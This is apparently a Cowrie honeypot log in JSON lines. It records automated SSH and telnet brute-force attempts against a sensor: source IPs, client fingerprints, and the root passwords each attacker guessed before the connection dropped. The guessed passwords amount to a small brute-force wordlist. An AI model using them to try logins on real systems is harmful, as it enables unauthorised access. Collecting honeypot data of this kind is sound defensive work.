{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3","message":"login attempt [root/a1b2c3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:13.565180Z","src_ip":"43.153.22.143","session":"5c26eae4ab93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:14.637205Z","src_ip":"43.153.22.143","session":"5c26eae4ab93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":45656,"dst_ip":"10.17.0.5","dst_port":22,"session":"9191a9131d33","protocol":"ssh","message":"New connection: 185.236.22.41:45656 (10.17.0.5:22) [session: 9191a9131d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:16.987874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:16.993201Z","src_ip":"185.236.22.41","session":"9191a9131d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:17.116235Z","src_ip":"185.236.22.41","session":"9191a9131d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"knopka","message":"login attempt [root/knopka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:17.473439Z","src_ip":"185.236.22.41","session":"9191a9131d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:18.592726Z","src_ip":"185.236.22.41","session":"9191a9131d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":48374,"dst_ip":"10.17.0.5","dst_port":22,"session":"14b3f7bc94dc","protocol":"ssh","message":"New connection: 43.153.124.153:48374 (10.17.0.5:22) [session: 14b3f7bc94dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:26.518278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:26.524455Z","src_ip":"43.153.124.153","session":"14b3f7bc94dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:26.595406Z","src_ip":"43.153.124.153","session":"14b3f7bc94dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3","message":"login attempt [root/a1b2c3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:26.899195Z","src_ip":"43.153.124.153","session":"14b3f7bc94dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:27.970958Z","src_ip":"43.153.124.153","session":"14b3f7bc94dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":45096,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc32668d8c7f","protocol":"ssh","message":"New connection: 154.83.13.181:45096 (159.203.135.109:22) [session: dc32668d8c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:30.627026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:30.632716Z","src_ip":"154.83.13.181","session":"dc32668d8c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:30.840722Z","src_ip":"154.83.13.181","session":"dc32668d8c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Arpit@123","message":"login attempt [root/Arpit@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:31.700232Z","src_ip":"154.83.13.181","session":"dc32668d8c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:32.911629Z","src_ip":"154.83.13.181","session":"dc32668d8c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36602,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b6e26611e07","protocol":"telnet","message":"New connection: 152.42.224.71:36602 (10.17.0.5:23) [session: 5b6e26611e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:35.670351Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":25373,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc80724b803","protocol":"ssh","message":"New connection: 181.0.214.136:25373 (10.17.0.5:22) [session: adc80724b803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:44.616454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:44.622371Z","src_ip":"181.0.214.136","session":"adc80724b803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:44.788305Z","src_ip":"181.0.214.136","session":"adc80724b803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexalex","message":"login attempt [root/alexalex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:45.479110Z","src_ip":"181.0.214.136","session":"adc80724b803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:46.649648Z","src_ip":"181.0.214.136","session":"adc80724b803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":34854,"dst_ip":"159.203.135.109","dst_port":22,"session":"17daf9bdb3e7","protocol":"ssh","message":"New connection: 59.16.212.232:34854 (159.203.135.109:22) [session: 17daf9bdb3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:49.481715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:49.486690Z","src_ip":"59.16.212.232","session":"17daf9bdb3e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:49.694720Z","src_ip":"59.16.212.232","session":"17daf9bdb3e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12!","message":"login attempt [root/Qwerty12!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:50.514001Z","src_ip":"59.16.212.232","session":"17daf9bdb3e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:51.714482Z","src_ip":"59.16.212.232","session":"17daf9bdb3e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":45878,"dst_ip":"10.17.0.5","dst_port":22,"session":"97c41f58c167","protocol":"ssh","message":"New connection: 197.248.104.31:45878 (10.17.0.5:22) [session: 97c41f58c167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:54.602872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:54.607215Z","src_ip":"197.248.104.31","session":"97c41f58c167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:54.815520Z","src_ip":"197.248.104.31","session":"97c41f58c167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123qwe","message":"login attempt [root/qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:55.681075Z","src_ip":"197.248.104.31","session":"97c41f58c167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:15:56.893429Z","src_ip":"197.248.104.31","session":"97c41f58c167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":56242,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad7817f26d4b","protocol":"ssh","message":"New connection: 103.183.114.55:56242 (159.203.135.109:22) [session: ad7817f26d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:02.587836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:02.592931Z","src_ip":"103.183.114.55","session":"ad7817f26d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:02.822357Z","src_ip":"103.183.114.55","session":"ad7817f26d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjcnjq","message":"login attempt [root/ghjcnjq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:03.500821Z","src_ip":"103.183.114.55","session":"ad7817f26d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":34388,"dst_ip":"10.17.0.5","dst_port":22,"session":"d35a5f16eecf","protocol":"ssh","message":"New connection: 43.153.69.201:34388 (10.17.0.5:22) [session: d35a5f16eecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:04.125595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:04.130625Z","src_ip":"43.153.69.201","session":"d35a5f16eecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:04.200602Z","src_ip":"43.153.69.201","session":"d35a5f16eecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!QAZ@WSX","message":"login attempt [root/1qaz2wsx!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:04.507484Z","src_ip":"43.153.69.201","session":"d35a5f16eecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:04.739612Z","src_ip":"103.183.114.55","session":"ad7817f26d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42642,"dst_ip":"10.17.0.5","dst_port":23,"session":"4862b027dbb5","protocol":"telnet","message":"New connection: 152.42.224.71:42642 (10.17.0.5:23) [session: 4862b027dbb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:04.759274Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:05.579335Z","src_ip":"43.153.69.201","session":"d35a5f16eecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":48954,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeaa5d381a25","protocol":"ssh","message":"New connection: 170.106.119.118:48954 (10.17.0.5:22) [session: eeaa5d381a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:16:14.205824Z"}
